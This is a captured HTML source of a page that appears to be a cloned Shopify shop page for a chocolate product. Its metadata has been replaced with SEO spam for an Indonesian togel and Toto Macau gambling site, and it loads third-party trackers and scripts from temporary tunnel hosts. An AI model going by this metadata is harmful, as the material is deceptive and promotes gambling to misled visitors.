PageSourceSearch

https://atas4d.biz/products/nibbl-choco-nutocalypse

html atas4d.biz collected 2026-09-29 14:05:54 UTC 890,579 bytes, 18,998 lines download raw bytes

1<!doctype html>
2<!--[if IE 8]> <html class="no-js lt-ie9" lang="en"> <![endif]-->
3<!--[if IE 9 ]> <html class="ie9 no-js"> <![endif]-->
4<!-- [if (gt IE 9)|!(IE)]><! -->
5<html class="no-js">
6  <!-- <![endif] -->
7<head>
8<meta charset="utf-8">
9<meta http-equiv="X-UA-Compatible" content="IE=edge">
10<meta name="viewport" content="width=device-width, initial-scale=1, minimum-scale=1, maximum-scale=1">
11<meta name="apple-itunes-app" content="app-id=1576832504">
12<!-- Google Tag Manager -->
13<script>
vendor: 327 bytes, lines 13-17
13(function(w,d,s,l,i){w[l]=w[l]||[];w[l].push({'gtm.start':
14new Date().getTime(),event:'gtm.js'});var f=d.getElementsByTagName(s)[0],
15j=d.createElement(s),dl=l!='dataLayer'?'&l='+l:'';j.async=true;j.src=
16'https://www.googletagmanager.com/gtm.js?id='+i+dl;f.parentNode.insertBefore(j,f);
17})(window,document,'script','dataLayer','
17GTM-5QZQDHNB
vendor: 3 bytes, line 17
17');
17</script>
17
18<!-- End Google Tag Manager -->
19<!-- Title and description -->
20<title>ATAS4D - Platform Game Togel Toto Macau 4D Terbaik Dengan Fitur Lengkap</title>
21<meta name="description" content="ATAS4D adalah platform game togel toto macau 4D terbaik dengan fitur lengkap, akses cepat, pasaran terpercaya, dan peluang kemenangan menarik setiap hari.">
22<meta name="keywords" content="atas4d, atas 4d, atas4d login, game atas4d, game togel, game macau, togel macau, toto macau, toto macau 4d, togel macau 4d" />
23<meta name="robots" content="index, follow"/>
24<link rel="canonical" href="https://atas4d.biz/">
25<link rel="amphtml" href="https://biz.platformatas4d.eu.com/game/">
26<link rel="alternate" href="https://biz.platformatas4d.eu.com/game/"> 
27<link rel="alternate" href="https://biz.platformatas4d.eu.com/game/" hreflang="id">
28<link rel="alternate" href="https://biz.platformatas4d.eu.com/game/" hreflang="en">
29<link rel="alternate" href="https://biz.platformatas4d.eu.com/game/" hreflang="en">
30<link rel="alternate" href="https://biz.platformatas4d.eu.com/game/" hreflang="x-default">
31<link rel="alternate" hreflang="id-ID" href="https://biz.platformatas4d.eu.com/game/" />
32<link rel="alternate" hreflang="en-US" href="https://biz.platformatas4d.eu.com/game/" />
33<link rel="alternate" hreflang="en-SG" href="https://biz.platformatas4d.eu.com/game/" />
34<!-- /snippets/social-meta-tags.liquid -->
35<meta property="og:type" content="website">
36<meta property="og:title" content="ATAS4D - Platform Game Togel Toto Macau 4D Terbaik Dengan Fitur Lengkap">
37<meta property="og:image" content="https://atas4d.biz/images/platform-game-togel-toto-macau-4d-terbaik-dengan-fitur-lengkap.webp">
38<meta property="og:image:secure_url" content="https://atas4d.biz/images/platform-game-togel-toto-macau-4d-terbaik-dengan-fitur-lengkap.webp">
39<meta property="og:image" content="https://atas4d.biz/images/platform-game-togel-toto-macau-4d-terbaik-dengan-fitur-lengkap.webp">
40<meta property="og:image:secure_url" content="https://atas4d.biz/images/platform-game-togel-toto-macau-4d-terbaik-dengan-fitur-lengkap.webp">
41<meta property="og:image" content="https://atas4d.biz/images/platform-game-togel-toto-macau-4d-terbaik-dengan-fitur-lengkap.webp">
42<meta property="og:image:secure_url" content="https://atas4d.biz/images/platform-game-togel-toto-macau-4d-terbaik-dengan-fitur-lengkap.webp">
43<meta property="og:description" content="ATAS4D adalah platform game togel toto macau 4D terbaik dengan fitur lengkap, akses cepat, pasaran terpercaya, dan peluang kemenangan menarik setiap hari.">
44<meta property="og:price:amount" content="1.349.417">
45<meta property="og:price:currency" content="IDR">
46<meta property="og:url" content="https://atas4d.biz/"> 
47<meta property="og:site_name" content="https://atas4d.biz/">
48<meta name="twitter:site" content="@atas4d">
49<meta name="twitter:card" content="summary">
50<meta name="twitter:title" content="ATAS4D - Platform Game Togel Toto Macau 4D Terbaik Dengan Fitur Lengkap">
51<meta name="twitter:description" content="ATAS4D adalah platform game togel toto macau 4D terbaik dengan fitur lengkap, akses cepat, pasaran terpercaya, dan peluang kemenangan menarik setiap hari.">
52<meta name="twitter:image" content="https://atas4d.biz/images/platform-game-togel-toto-macau-4d-terbaik-dengan-fitur-lengkap.webp">
53<meta name="twitter:image:width" content="600">
54<meta name="twitter:image:height" content="600">
55<link rel="shortcut icon" href="https://atas4d.biz/images/icon-atas4d.webp" type="image/png">
56<meta name="theme-color" content="#212121">
57<link href="https://fonts.googleapis.com/css?family=Source+Sans+Pro:300,400,600,700&family=Poppins&display=swap" rel="stylesheet">
58<link href="https://outerbloom.com/cdn/shop/t/138/assets/custom-styles.css?v=94643080714485117621752652418" rel="stylesheet" type="text/css" media="all" />
59<link rel="stylesheet" href="https://outerbloom.com/cdn/shop/t/138/assets/wishlist-styles.css?v=26657665320743256831769518695">
60<link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/[email protected]/dist/css/select2.min.css">
60<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.6.4/jquery.min.js"></script>
60
61<!-- Google tag (gtag.js) -->
vendor: 64 bytes, lines 61-62
61
62<script async src="https://www.googletagmanager.com/gtag/js?id=
62G-VGVDLHW9X9
vendor: 12 bytes, line 62
62"></script>
63<script>
64  
vendor: 134 bytes, lines 64-68
64window.dataLayer = window.dataLayer || [];
65  function gtag(){dataLayer.push(arguments);}
66  gtag('js', new Date());
67
68  gtag('config', '
68G-VGVDLHW9X9
vendor: 4 bytes, line 68
68');
69</script>
vendor: 1 bytes, line 69
69
70<script
71      src="https://cdnjs.cloudflare.com/ajax/libs/jqueryui/1.13.2/jquery-ui.min.js"
72      integrity="sha512-57oZ/vW8ANMjR/KQ6Be9v/+/h6bq9/l3f0Oc7vn6qMqyhvPd1cvKBRWWpzu0QoneImqr2SkmO4MSqU+RpHom3Q=="
73      crossorigin="anonymous"
74      referrerpolicy="no-referrer"
75    ></script>
75
76    
76<script src="https://cdnjs.cloudflare.com/ajax/libs/qrcodejs/1.0.0/qrcode.min.js" async="async"></script>
76
77    
77<script src="https://cdn.jsdelivr.net/npm/[email protected]/dist/js/select2.min.js"></script>
77<!-- Facebook Pixel Code -->
78    
78<script>
vendor: 453 bytes, lines 78-87
78
79      !function(f,b,e,v,n,t,s)
80      {if(f.fbq)return;n=f.fbq=function(){n.callMethod?
81      n.callMethod.apply(n,arguments):n.queue.push(arguments)};
82      if(!f._fbq)f._fbq=n;n.push=n;n.loaded=!0;n.version='2.0';
83      n.queue=[];t=b.createElement(e);t.async=!0;
84      t.src=v;s=b.getElementsByTagName(e)[0];
85      s.parentNode.insertBefore(t,s)}(window, document,'script',
86      'https://connect.facebook.net/en_US/fbevents.js');
87      fbq('init', '
87165971065669324
vendor: 40 bytes, lines 87-89
87');
88      fbq('track', 'PageView');
89    
89</script>
89
90    <noscript
91      ><img
92        height="1"
93        width="1"
94        style="display:none"
95        src="https://www.facebook.com/tr?id=165971065669324&ev=PageView&noscript=1"
96    ></noscript>
97    
97<script src="//cdnjs.cloudflare.com/ajax/libs/vissense/0.9.0/vissense.js" defer></script>
97
98  
99    <!-- Bing UET -->
100    
100<script>
101      (function(w,d,t,r,u)
102      {
103          var f,n,i;
104          w[u]=w[u]||[],f=function()
105          {
106              var o={ti:"343051754", tm:"shpfy_ui", enableAutoSpaTracking: true};
107              o.q=w[u],w[u]=new UET(o),w[u].push("pageLoad")
108          },
109          n=d.createElement(t),n.src=r,n.async=1,n.onload=n.onreadystatechange=function()
110          {
111              var s=this.readyState;
112              s&&s!=="loaded"&&s!=="complete"||(f(),n.onload=n.onreadystatechange=null)
113          },
114          i=d.getElementsByTagName(t)[0],i.parentNode.insertBefore(n,i)
115      })
116      (window,document,"script","//bat.bing.com/bat.js","uetq");
117    </script>
117
118    
118<script>
119      window.uetq = window.uetq || [];
120      window.uetq.push('event', '', {"revenue_value":0,"currency":"IDR"});
121    </script>
121
122    <!-- End Bing UET -->
123  
124    <!-- Microsoft Clarity -->
125    
125<script type="text/javascript">
126      (function(c,l,a,r,i,t,y){
127          c[a]=c[a]||function(){(c[a].q=c[a].q||[]).push(arguments)};
128          t=l.createElement(r);t.async=1;t.src="https://www.clarity.ms/tag/"+i;
129          y=l.getElementsByTagName(r)[0];y.parentNode.insertBefore(t,y);
130      })(window, document, "clarity", "script", "h7rbxqry9k");
131    </script>
131
132    <!-- End Microsoft Clarity -->
133
134    <!-- Apollo Script - Tracking Visitor -->
135    
135<script>
136      function initApollo(){var n=Math.random().toString(36).substring(7),o=document.createElement("script");
137      o.src="https://assets.apollo.io/micro/website-tracker/tracker.iife.js?nocache="+n,o.async=!0,o.defer=!0,
138      o.onload=function(){window.trackingFunctions.onLoad({appId:"68805f12b2074b001d43bfd8"})},
139      document.head.appendChild(o)}initApollo();
140    </script>
140
141    <!-- End Apollo Script - Tracking Visitor -->
142
143
144<link href="https://outerbloom.com/cdn/shop/t/138/assets/combine.min.css?v=36663939493595550161770794813" rel="stylesheet" type="text/css" media="all" />
145
146<link href="https://outerbloom.com/cdn/shop/t/138/assets/font-awesome.css?v=132324219581463622051752652421" rel="stylesheet" type="text/css" media="all" />
147<link rel="stylesheet" href="//code.jquery.com/ui/1.13.0/themes/base/jquery-ui.min.css">
148
149<script src="//code.jquery.com/jquery-1.12.4.min.js" integrity="sha256-ZosEbRLbNQzLpnKIkEdrPv7lOy9C27hHQ+Xp8a4MxAQ=" crossorigin="anonymous"></script>
vendor: 1 bytes, line 149
149
150<script src="https://outerbloom.com/cdn/shop/t/138/assets/combine.js?v=140218079523075729301752652421" type="text/javascript"></script>
vendor: 1 bytes, line 150
150
151<script src="//code.jquery.com/ui/1.13.0/jquery-ui.min.js"></script>
vendor: 1 bytes, line 151
151
152<script>window.performance && window.performance.mark && window.performance.mark('shopify.content_for_header.start');</script>
152
153<meta name="google-site-verification" content="q6vqSE0THHQbR2SWhGIX3l9ZmbYVR-f37OU1e3O_Fmc" />
154<meta id="shopify-digital-wallet" name="shopify-digital-wallet" content="/15896833/digital_wallets/dialog">
155<link rel="alternate" type="application/json+oembed" href="https://atas4d.biz/.oembed">
156<script async="async" src="/checkouts/internal/preloads.js?locale=en-ID"></script>
vendor: 1 bytes, line 156
156
157<script id="shopify-features" type="application/json">{"accessToken":"d2e176e59f6658d5056234d6249b3ab4","betas":["rich-media-storefront-analytics"],"domain":"outerbloom.com","predictiveSearch":true,"shopId":15896833,"locale":"en"}</script>
vendor: 1 bytes, line 157
157
158<script>var Shopify = Shopify || {};
159Shopify.shop = "outerbloom1.myshopify.com";
160Shopify.locale = "en";
161Shopify.currency = {"active":"IDR","rate":"1.0"};
162Shopify.country = "ID";
163Shopify.theme = {"name":"web-outerbloom-shopify\/main","id":153139282135,"schema_name":null,"schema_version":null,"theme_store_id":null,"role":"main"};
164Shopify.theme.handle = "null";
165Shopify.theme.style = {"id":null,"handle":null};
166Shopify.cdnHost = "outerbloom.com/cdn";
167Shopify.routes = Shopify.routes || {};
168Shopify.routes.root = "/";</script>
vendor: 1 bytes, line 168
168
169<script type="module">!function(o){(o.Shopify=o.Shopify||{}).modules=!0}(window);</script>
vendor: 1 bytes, line 169
169
170<script>!function(o){function n(){var o=[];function n(){o.push(Array.prototype.slice.apply(arguments))}return n.q=o,n}var t=o.Shopify=o.Shopify||{};t.loadFeatures=n(),t.autoloadFeatures=n()}(window);</script>
vendor: 1 bytes, line 170
170
171<script id="shop-js-analytics" type="application/json">{"pageType":"product"}</script>
vendor: 1 bytes, line 171
171
172<script defer="defer" async type="module" src="https://outerbloom.com/cdn/shopifycloud/shop-js/modules/v2/client.init-shop-cart-sync_BLuSqYWl.en.esm.js"></script>
vendor: 1 bytes, line 172
172
173<script defer="defer" async type="module" src="https://outerbloom.com/cdn/shopifycloud/shop-js/modules/v2/chunk.common_DplD2_3Q.en.esm.js"></script>
vendor: 1 bytes, line 173
173
174<script defer="defer" async type="module" src="https://outerbloom.com/cdn/shopifycloud/shop-js/modules/v2/chunk.modal_BxEbAqG6.en.esm.js"></script>
vendor: 1 bytes, line 174
174
175<script type="module">
176  await import("https://outerbloom.com/cdn/shopifycloud/shop-js/modules/v2/client.init-shop-cart-sync_BLuSqYWl.en.esm.js");
177await import("https://outerbloom.com/cdn/shopifycloud/shop-js/modules/v2/chunk.common_DplD2_3Q.en.esm.js");
178await import("https://outerbloom.com/cdn/shopifycloud/shop-js/modules/v2/chunk.modal_BxEbAqG6.en.esm.js");
179
180  window.Shopify.SignInWithShop?.initShopCartSync?.({"fedCMEnabled":true,"windoidEnabled":true});
181
182</script>
vendor: 1 bytes, line 182
182
183<script>(function() {
184  var isLoaded = false;
185  function asyncLoad() {
186    if (isLoaded) return;
187    isLoaded = true;
188    var urls = ["https:\/\/e9e1-180-254-64-204.ngrok.io\/public\/scripts\/shopifyPageScript.js?shop=outerbloom1.myshopify.com","https:\/\/ajax.googleapis.com\/ajax\/libs\/jquery\/3.5.1\/jquery.min.js?shop=outerbloom1.myshopify.com","https:\/\/14e1-180-254-64-204.ngrok.io\/public\/scripts\/shopifyPageScript.js?shop=outerbloom1.myshopify.com","https:\/\/6403-180-254-64-204.ngrok.io\/public\/scripts\/shopify-page-script.js?shop=outerbloom1.myshopify.com","https:\/\/googlesignintest.loca.lt\/public\/scripts\/shopify-page-script.js?shop=outerbloom1.myshopify.com","https:\/\/api-na1.hubapi.com\/scriptloader\/v1\/6800477.js?shop=outerbloom1.myshopify.com"];
189    for (var i = 0; i < urls.length; i++) {
190      var s = document.createElement('script');
191      s.type = 'text/javascript';
192      s.async = true;
193      s.src = urls[i];
194      var x = document.getElementsByTagName('script')[0];
195      x.parentNode.insertBefore(s, x);
196    }
197  };
198  if(window.attachEvent) {
199    window.attachEvent('onload', asyncLoad);
200  } else {
201    window.addEventListener('load', asyncLoad, false);
202  }
203})();</script>
vendor: 1 bytes, line 203
203
204<script id="__st">var __st={"a":15896833,"offset":25200,"reqid":"9772bf95-0c76-4bf8-8585-5e940331d073-1771788748","pageurl":"outerbloom.com\/products\/outerbloom-mulan-bag-hampers","u":"aafc7fc1a838","p":"product","rtyp":"product","rid":7881418965207};</script>
vendor: 1 bytes, line 204
204
205<script>window.ShopifyPaypalV4VisibilityTracking = true;</script>
vendor: 1 bytes, line 205
205
206<script id="captcha-bootstrap">!function(){'use strict';const t='contact',e='account',n='new_comment',o=[[t,t],['blogs',n],['comments',n],[t,'customer']],c=[[e,'customer_login'],[e,'guest_login'],[e,'recover_customer_password'],[e,'create_customer']],r=t=>t.map((([t,e])=>`form[action*='/${t}']:not([data-nocaptcha='true']) input[name='form_type'][value='${e}']`)).join(','),a=t=>()=>t?[...document.querySelectorAll(t)].map((t=>t.form)):[];function s(){const t=[...o],e=r(t);return a(e)}const i='password',u='form_key',d=['recaptcha-v3-token','g-recaptcha-response','h-captcha-response',i],f=()=>{try{return window.sessionStorage}catch{return}},m='__shopify_v',_=t=>t.elements[u];function p(t,e,n=!1){try{const o=window.sessionStorage,c=JSON.parse(o.getItem(e)),{data:r}=function(t){const{data:e,action:n}=t;return t[m]||n?{data:e,action:n}:{data:t,action:n}}(c);for(const[e,n]of Object.entries(r))t.elements[e]&&(t.elements[e].value=n);n&&o.removeItem(e)}catch(o){console.error('form repopulation failed',{error:o})}}const l='form_type',E='cptcha';function T(t){t.dataset[E]=!0}const w=window,h=w.document,L='Shopify',v='ce_forms',y='captcha';let A=!1;((t,e)=>{const n=(g='f06e6c50-85a8-45c8-87d0-21a2b65856fe',I='https://cdn.shopify.com/shopifycloud/storefront-forms-hcaptcha/ce_storefront_forms_captcha_hcaptcha.v1.5.2.iife.js',D={infoText:'Protected by hCaptcha',privacyText:'Privacy',termsText:'Terms'},(t,e,n)=>{const o=w[L][v],c=o.bindForm;if(c)return c(t,g,e,D).then(n);var r;o.q.push([[t,g,e,D],n]),r=I,A||(h.body.append(Object.assign(h.createElement('script'),{id:'captcha-provider',async:!0,src:r})),A=!0)});var g,I,D;w[L]=w[L]||{},w[L][v]=w[L][v]||{},w[L][v].q=[],w[L][y]=w[L][y]||{},w[L][y].protect=function(t,e){n(t,void 0,e),T(t)},Object.freeze(w[L][y]),function(t,e,n,w,h,L){const[v,y,A,g]=function(t,e,n){const i=e?o:[],u=t?c:[],d=[...i,...u],f=r(d),m=r(i),_=r(d.filter((([t,e])=>n.includes(e))));return[a(f),a(m),a(_),s()]}(w,h,L),I=t=>{const e=t.target;return e instanceof HTMLFormElement?e:e&&e.form},D=t=>v().includes(t);t.addEventListener('submit',(t=>{const e=I(t);if(!e)return;const n=D(e)&&!e.dataset.hcaptchaBound&&!e.dataset.recaptchaBound,o=_(e),c=g().includes(e)&&(!o||!o.value);(n||c)&&t.preventDefault(),c&&!n&&(function(t){try{if(!f())return;!function(t){const e=f();if(!e)return;const n=_(t);if(!n)return;const o=n.value;o&&e.removeItem(o)}(t);const e=Array.from(Array(32),(()=>Math.random().toString(36)[2])).join('');!function(t,e){_(t)||t.append(Object.assign(document.createElement('input'),{type:'hidden',name:u})),t.elements[u].value=e}(t,e),function(t,e){const n=f();if(!n)return;const o=[...t.querySelectorAll(`input[type='${i}']`)].map((({name:t})=>t)),c=[...d,...o],r={};for(const[a,s]of new FormData(t).entries())c.includes(a)||(r[a]=s);n.setItem(e,JSON.stringify({[m]:1,action:t.action,data:r}))}(t,e)}catch(e){console.error('failed to persist form',e)}}(e),e.submit())}));const S=(t,e)=>{t&&!t.dataset[E]&&(n(t,e.some((e=>e===t))),T(t))};for(const o of['focusin','change'])t.addEventListener(o,(t=>{const e=I(t);D(e)&&S(e,y())}));const B=e.get('form_key'),M=e.get(l),P=B&&M;t.addEventListener('DOMContentLoaded',(()=>{const t=y();if(P)for(const e of t)e.elements[l].value===M&&p(e,B);[...new Set([...A(),...v().filter((t=>'true'===t.dataset.shopifyCaptcha))])].forEach((e=>S(e,t)))}))}(h,new URLSearchParams(w.location.search),n,t,e,['guest_login'])})(!1,!0)}();</script>
vendor: 1 bytes, line 206
206
207<script integrity="sha256-4kQ18oKyAcykRKYeNunJcIwy7WH5gtpwJnB7kiuLZ1E=" data-source-attribution="shopify.loadfeatures" defer="defer" src="https://outerbloom.com/cdn/shopifycloud/storefront/assets/storefront/load_feature-a0a9edcb.js" crossorigin="anonymous"></script>
vendor: 1 bytes, line 207
207
208<script data-source-attribution="shopify.dynamic_checkout.dynamic.init">var Shopify=Shopify||{};Shopify.PaymentButton=Shopify.PaymentButton||{isStorefrontPortableWallets:!0,init:function(){window.Shopify.PaymentButton.init=function(){};var t=document.createElement("script");t.src="https://outerbloom.com/cdn/shopifycloud/portable-wallets/latest/portable-wallets.en.js",t.type="module",document.head.appendChild(t)}};
209</script>
vendor: 1 bytes, line 209
209
210<script data-source-attribution="shopify.dynamic_checkout.buyer_consent">
211  function portableWalletsHideBuyerConsent(e){var t=document.getElementById("shopify-buyer-consent"),n=document.getElementById("shopify-subscription-policy-button");t&&n&&(t.classList.add("hidden"),t.setAttribute("aria-hidden","true"),n.removeEventListener("click",e))}function portableWalletsShowBuyerConsent(e){var t=document.getElementById("shopify-buyer-consent"),n=document.getElementById("shopify-subscription-policy-button");t&&n&&(t.classList.remove("hidden"),t.removeAttribute("aria-hidden"),n.addEventListener("click",e))}window.Shopify?.PaymentButton&&(window.Shopify.PaymentButton.hideBuyerConsent=portableWalletsHideBuyerConsent,window.Shopify.PaymentButton.showBuyerConsent=portableWalletsShowBuyerConsent);
212</script>
vendor: 1 bytes, line 212
212
213<script data-source-attribution="shopify.dynamic_checkout.cart.bootstrap">document.addEventListener("DOMContentLoaded",(function(){function t(){return document.querySelector("shopify-accelerated-checkout-cart, shopify-accelerated-checkout")}if(t())Shopify.PaymentButton.init();else{new MutationObserver((function(e,n){t()&&(Shopify.PaymentButton.init(),n.disconnect())})).observe(document.body,{childList:!0,subtree:!0})}}));
214</script>
214
215
216<script>window.performance && window.performance.mark && window.performance.mark('shopify.content_for_header.end');</script>
216
217    <!-- /snippets/oldIE-js.liquid -->
218
219
220<!--[if lt IE 9]>
221<script src="//cdnjs.cloudflare.com/ajax/libs/html5shiv/3.7.2/html5shiv.min.js" type="text/javascript"></script>
vendor: 1 bytes, line 221
221
222<script src="https://outerbloom.com/cdn/shop/t/138/assets/respond.min.js?v=52248677837542619231752652418" type="text/javascript"></script>
222
223<link href="https://outerbloom.com/cdn/shop/t/138/assets/respond-proxy.html" id="respond-proxy" rel="respond-proxy" />
224<link href="https://outerbloom.com/search?q=142e9156869335090161dced0ac98b64" id="respond-redirect" rel="respond-redirect" />
225<script src="https://outerbloom.com/search?q=142e9156869335090161dced0ac98b64" type="text/javascript"></script>
225
226<![endif]-->
227
228
229
230  
231    
232  <link href="https://cdn.shopify.com/extensions/019b5a94-a328-79ac-9b0a-d9abe0913c8c/bitbybit-google-signin-136/assets/app.css" rel="stylesheet" type="text/css" media="all">
233<link href="https://monorail-edge.shopifysvc.com" rel="dns-prefetch">
234<script>(function(){if ("sendBeacon" in navigator && "performance" in window) {try {var session_token_from_headers = performance.getEntriesByType('navigation')[0].serverTiming.find(x => x.name == '_s').description;} catch {var session_token_from_headers = undefined;}var session_cookie_matches = document.cookie.match(/_shopify_s=([^;]*)/);var session_token_from_cookie = session_cookie_matches && session_cookie_matches.length === 2 ? session_cookie_matches[1] : "";var session_token = session_token_from_headers || session_token_from_cookie || "";function handle_abandonment_event(e) {var entries = performance.getEntries().filter(function(entry) {return /monorail-edge.shopifysvc.com/.test(entry.name);});if (!window.abandonment_tracked && entries.length === 0) {window.abandonment_tracked = true;var currentMs = Date.now();var navigation_start = performance.timing.navigationStart;var payload = {shop_id: 15896833,url: window.location.href,navigation_start,duration: currentMs - navigation_start,session_token,page_type: "product"};window.navigator.sendBeacon("https://monorail-edge.shopifysvc.com/v1/produce", JSON.stringify({schema_id: "online_store_buyer_site_abandonment/1.1",payload: payload,metadata: {event_created_at_ms: currentMs,event_sent_at_ms: currentMs}}));}}window.addEventListener('pagehide', handle_abandonment_event);}}());</script>
vendor: 1 bytes, line 234
234
235<script id="web-pixels-manager-setup">(function e(e,d,r,n,o){if(void 0===o&&(o={}),!Boolean(null===(a=null===(i=window.Shopify)||void 0===i?void 0:i.analytics)||void 0===a?void 0:a.replayQueue)){var i,a;window.Shopify=window.Shopify||{};var t=window.Shopify;t.analytics=t.analytics||{};var s=t.analytics;s.replayQueue=[],s.publish=function(e,d,r){return s.replayQueue.push([e,d,r]),!0};try{self.performance.mark("wpm:start")}catch(e){}var l=function(){var e={modern:/Edge?\/(1{2}[4-9]|1[2-9]\d|[2-9]\d{2}|\d{4,})\.\d+(\.\d+|)|Firefox\/(1{2}[4-9]|1[2-9]\d|[2-9]\d{2}|\d{4,})\.\d+(\.\d+|)|Chrom(ium|e)\/(9{2}|\d{3,})\.\d+(\.\d+|)|(Maci|X1{2}).+ Version\/(15\.\d+|(1[6-9]|[2-9]\d|\d{3,})\.\d+)([,.]\d+|)( \(\w+\)|)( Mobile\/\w+|) Safari\/|Chrome.+OPR\/(9{2}|\d{3,})\.\d+\.\d+|(CPU[ +]OS|iPhone[ +]OS|CPU[ +]iPhone|CPU IPhone OS|CPU iPad OS)[ +]+(15[._]\d+|(1[6-9]|[2-9]\d|\d{3,})[._]\d+)([._]\d+|)|Android:?[ /-](13[3-9]|1[4-9]\d|[2-9]\d{2}|\d{4,})(\.\d+|)(\.\d+|)|Android.+Firefox\/(13[5-9]|1[4-9]\d|[2-9]\d{2}|\d{4,})\.\d+(\.\d+|)|Android.+Chrom(ium|e)\/(13[3-9]|1[4-9]\d|[2-9]\d{2}|\d{4,})\.\d+(\.\d+|)|SamsungBrowser\/([2-9]\d|\d{3,})\.\d+/,legacy:/Edge?\/(1[6-9]|[2-9]\d|\d{3,})\.\d+(\.\d+|)|Firefox\/(5[4-9]|[6-9]\d|\d{3,})\.\d+(\.\d+|)|Chrom(ium|e)\/(5[1-9]|[6-9]\d|\d{3,})\.\d+(\.\d+|)([\d.]+$|.*Safari\/(?![\d.]+ Edge\/[\d.]+$))|(Maci|X1{2}).+ Version\/(10\.\d+|(1[1-9]|[2-9]\d|\d{3,})\.\d+)([,.]\d+|)( \(\w+\)|)( Mobile\/\w+|) Safari\/|Chrome.+OPR\/(3[89]|[4-9]\d|\d{3,})\.\d+\.\d+|(CPU[ +]OS|iPhone[ +]OS|CPU[ +]iPhone|CPU IPhone OS|CPU iPad OS)[ +]+(10[._]\d+|(1[1-9]|[2-9]\d|\d{3,})[._]\d+)([._]\d+|)|Android:?[ /-](13[3-9]|1[4-9]\d|[2-9]\d{2}|\d{4,})(\.\d+|)(\.\d+|)|Mobile Safari.+OPR\/([89]\d|\d{3,})\.\d+\.\d+|Android.+Firefox\/(13[5-9]|1[4-9]\d|[2-9]\d{2}|\d{4,})\.\d+(\.\d+|)|Android.+Chrom(ium|e)\/(13[3-9]|1[4-9]\d|[2-9]\d{2}|\d{4,})\.\d+(\.\d+|)|Android.+(UC? ?Browser|UCWEB|U3)[ /]?(15\.([5-9]|\d{2,})|(1[6-9]|[2-9]\d|\d{3,})\.\d+)\.\d+|SamsungBrowser\/(5\.\d+|([6-9]|\d{2,})\.\d+)|Android.+MQ{2}Browser\/(14(\.(9|\d{2,})|)|(1[5-9]|[2-9]\d|\d{3,})(\.\d+|))(\.\d+|)|K[Aa][Ii]OS\/(3\.\d+|([4-9]|\d{2,})\.\d+)(\.\d+|)/},d=e.modern,r=e.legacy,n=navigator.userAgent;return n.match(d)?"modern":n.match(r)?"legacy":"unknown"}(),u="modern"===l?"modern":"legacy",c=(null!=n?n:{modern:"",legacy:""})[u],f=function(e){return[e.baseUrl,"/wpm","/b",e.hashVersion,"modern"===e.buildTarget?"m":"l",".js"].join("")}({baseUrl:d,hashVersion:r,buildTarget:u}),m=function(e){var d=e.version,r=e.bundleTarget,n=e.surface,o=e.pageUrl,i=e.monorailEndpoint;return{emit:function(e){var a=e.status,t=e.errorMsg,s=(new Date).getTime(),l=JSON.stringify({metadata:{event_sent_at_ms:s},events:[{schema_id:"web_pixels_manager_load/3.1",payload:{version:d,bundle_target:r,page_url:o,status:a,surface:n,error_msg:t},metadata:{event_created_at_ms:s}}]});if(!i)return console&&console.warn&&console.warn("[Web Pixels Manager] No Monorail endpoint provided, skipping logging."),!1;try{return self.navigator.sendBeacon.bind(self.navigator)(i,l)}catch(e){}var u=new XMLHttpRequest;try{return u.open("POST",i,!0),u.setRequestHeader("Content-Type","text/plain"),u.send(l),!0}catch(e){return console&&console.warn&&console.warn("[Web Pixels Manager] Got an unhandled error while logging to Monorail."),!1}}}}({version:r,bundleTarget:l,surface:e.surface,pageUrl:self.location.href,monorailEndpoint:e.monorailEndpoint});try{o.browserTarget=l,function(e){var d=e.src,r=e.async,n=void 0===r||r,o=e.onload,i=e.onerror,a=e.sri,t=e.scriptDataAttributes,s=void 0===t?{}:t,l=document.createElement("script"),u=document.querySelector("head"),c=document.querySelector("body");if(l.async=n,l.src=d,a&&(l.integrity=a,l.crossOrigin="anonymous"),s)for(var f in s)if(Object.prototype.hasOwnProperty.call(s,f))try{l.dataset[f]=s[f]}catch(e){}if(o&&l.addEventListener("load",o),i&&l.addEventListener("error",i),u)u.appendChild(l);else{if(!c)throw new Error("Did not find a head or body element to append the script");c.appendChild(l)}}({src:f,async:!0,onload:function(){if(!function(){var e,d;return Boolean(null===(d=null===(e=window.Shopify)||void 0===e?void 0:e.analytics)||void 0===d?void 0:d.initialized)}()){var d=window.webPixelsManager.init(e)||void 0;if(d){var r=window.Shopify.analytics;r.replayQueue.forEach((function(e){var r=e[0],n=e[1],o=e[2];d.publishCustomEvent(r,n,o)})),r.replayQueue=[],r.publish=d.publishCustomEvent,r.visitor=d.visitor,r.initialized=!0}}},onerror:function(){return m.emit({status:"failed",errorMsg:"".concat(f," has failed to load")})},sri:function(e){var d=/^sha384-[A-Za-z0-9+/=]+$/;return"string"==typeof e&&d.test(e)}(c)?c:"",scriptDataAttributes:o}),m.emit({status:"loading"})}catch(e){m.emit({status:"failed",errorMsg:(null==e?void 0:e.message)||"Unknown error"})}}})({shopId: 15896833,storefrontBaseUrl: "https://outerbloom.com",extensionsBaseUrl: "https://extensions.shopifycdn.com/cdn/shopifycloud/web-pixels-manager",monorailEndpoint: "https://monorail-edge.shopifysvc.com/unstable/produce_batch",surface: "storefront-renderer",enabledBetaFlags: ["2dca8a86"],webPixelsConfigList: [{"id":"1830486231","configuration":"{\"pixelCode\":\"CECQHERC77UA05ON51U0\"}","eventPayloadVersion":"v1","runtimeContext":"STRICT","scriptVersion":"22e92c2ad45662f435e4801458fb78cc","type":"APP","apiClientId":4383523,"privacyPurposes":["ANALYTICS","MARKETING","SALE_OF_DATA"],"dataSharingAdjustments":{"protectedCustomerApprovalScopes":["read_customer_address","read_customer_email","read_customer_name","read_customer_personal_data","read_customer_phone"],"dataSharingControls":["share_all_events"]},"dataSharingState":"optimized","enabledFlags":["9a3ed68a"]},{"id":"870383831","configuration":"{\"accountID\":\"outerbloom1\"}","eventPayloadVersion":"v1","runtimeContext":"STRICT","scriptVersion":"e049d423f49471962495acbe58da1904","type":"APP","apiClientId":32196493313,"privacyPurposes":["ANALYTICS","MARKETING","SALE_OF_DATA"],"dataSharingAdjustments":{"protectedCustomerApprovalScopes":["read_customer_address","read_customer_email","read_customer_name","read_customer_personal_data","read_customer_phone"],"dataSharingControls":["share_all_events"]},"dataSharingState":"optimized","enabledFlags":["9a3ed68a"]},{"id":"824574167","configuration":"{\"shop\":\"outerbloom1.myshopify.com\", \"backend\": 